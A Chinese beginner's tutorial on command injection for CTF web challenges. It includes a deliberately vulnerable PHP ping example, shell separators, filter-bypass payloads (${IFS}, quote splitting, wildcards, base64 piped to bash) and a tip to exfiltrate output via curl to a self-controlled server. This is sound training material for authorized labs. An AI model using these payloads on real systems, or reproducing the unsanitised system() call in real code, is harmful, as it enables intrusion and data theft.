$ whoami → CTF 初学者 | 目标:理解命令注入
CTF 命令注入:
从零开始的学习指南
从零开始的学习指南
命令注入(Command Injection)是 CTF Web 题里出现频率最高的漏洞类型之一。理解它,是进入 Web 安全领域的必经之路。本文讲清楚原理、常见绕过思路,以及在哪里练习。
⚠ 学习声明
本文所有内容仅用于 CTF 竞赛学习和安全教育。命令注入技术只能在合法授权的环境(CTF 平台、自建靶机)中练习。未经授权对真实系统测试属于违法行为。
# 命令注入是什么
命令注入发生在一个场景里:Web 应用把用户的输入,拼接进了系统命令。系统命令被执行,用户输入的恶意部分也跟着执行了。
最简单的例子是一个”ping 工具”页面。你输入 IP 地址,服务器帮你 ping,然后返回结果。代码可能长这样:
后端代码示例(存在漏洞) PHP
// 用户输入直接拼接进系统命令 ← 危险
$ip = $_GET[‘ip’];
system(“ping -c 1 “ . $ip);
// 正常输入:
// ping -c 1 127.0.0.1
// 攻击者输入 “127.0.0.1; ls” 后变成:
// ping -c 1 127.0.0.1 ; ls
$ip = $_GET[‘ip’];
system(“ping -c 1 “ . $ip);
// 正常输入:
// ping -c 1 127.0.0.1
// 攻击者输入 “127.0.0.1; ls” 后变成:
// ping -c 1 127.0.0.1 ; ls
分号 ; 是 Linux/Unix 里的命令分隔符。一行里写两个命令,两个都会执行。攻击者用这个特性,在合法命令后面附加自己想执行的命令。
# 常用的分隔符和绕过符号
CTF 题目里,服务器端通常会过滤一些常见字符。你需要知道不同的分隔符,以及怎么在过滤的情况下找到替代方案。
命令分隔符一览 Linux Shell
; # 顺序执行,前一条无论成功与否都执行下一条
&& # 前一条成功才执行下一条
|| # 前一条失败才执行下一条
| # 管道,把前一条的输出传给下一条
`cmd` # 反引号,在字符串里内嵌执行命令
$(cmd) # 命令替换,效果同反引号,更推荐
%0a # URL 编码的换行符,有时可绕过过滤
&& # 前一条成功才执行下一条
|| # 前一条失败才执行下一条
| # 管道,把前一条的输出传给下一条
`cmd` # 反引号,在字符串里内嵌执行命令
$(cmd) # 命令替换,效果同反引号,更推荐
%0a # URL 编码的换行符,有时可绕过过滤
# 常见过滤和绕过思路
CTF 出题人通常会加过滤。遇到过滤,不是死路,是要找绕过方法。
过滤场景与绕过示例 绕过技巧
# 场景 1:过滤了空格
cat flag → 被拦截
cat${IFS}flag # 用 $IFS 代替空格
cat<flag # 输入重定向也能读文件
# 场景 2:过滤了关键字,比如 “cat” “flag”
ca”t fla”g # 插入空字符串拆断关键词
c\at fl\ag # 反斜杠转义不影响执行
echo “ZmxhZw==” | base64 -d | bash # base64 编码绕过
# 场景 3:黑名单字符较多,尝试通配符
/???/??t /???/fl?g # ? 匹配任意单个字符
cat flag → 被拦截
cat${IFS}flag # 用 $IFS 代替空格
cat<flag # 输入重定向也能读文件
# 场景 2:过滤了关键字,比如 “cat” “flag”
ca”t fla”g # 插入空字符串拆断关键词
c\at fl\ag # 反斜杠转义不影响执行
echo “ZmxhZw==” | base64 -d | bash # base64 编码绕过
# 场景 3:黑名单字符较多,尝试通配符
/???/??t /???/fl?g # ? 匹配任意单个字符
# 拿到 Flag 的思路步骤
在 CTF Web 命令注入题里,通常的流程是这样的:
01
确认注入点
先测试
; 或 |,看有没有报错或者回显变化。能执行 id 或 whoami 就说明注入成立。02
探索目录
用
ls、ls /、ls /home 找 flag 文件在哪。CTF 里通常叫 flag、flag.txt 或 flag.php。03
读取文件
用
cat、tac(反向输出)、more、head 读内容。如果 cat 被过滤,这些都是替代选项。04
处理无回显的情况
如果页面没有命令输出,尝试带外(OOB):把结果通过
curl 或 wget 发到自己控制的服务器(用 webhook.site 或 requestbin)。# 去哪里练习
学命令注入,最快的方式是做真实题目。这三个平台都有免费的 Web 安全练习环境:
NSSCTF
国内主流 CTF 平台,题库丰富,有专门的命令注入分类题,中文界面友好。
BUUCTF
北京联合大学的 CTF 平台,收录了大量历年赛题,命令注入题目质量高。
PortSwigger Web Security Academy
Burp Suite 官方出品,OS Command Injection 模块有完整的由浅到深实验室,英文,免费。
每道题做完,建议写一份简单的 writeup。记录你用了什么 payload、遇到了什么过滤、怎么绕过的。写下来之后,下次遇到类似的题,思路会快很多。


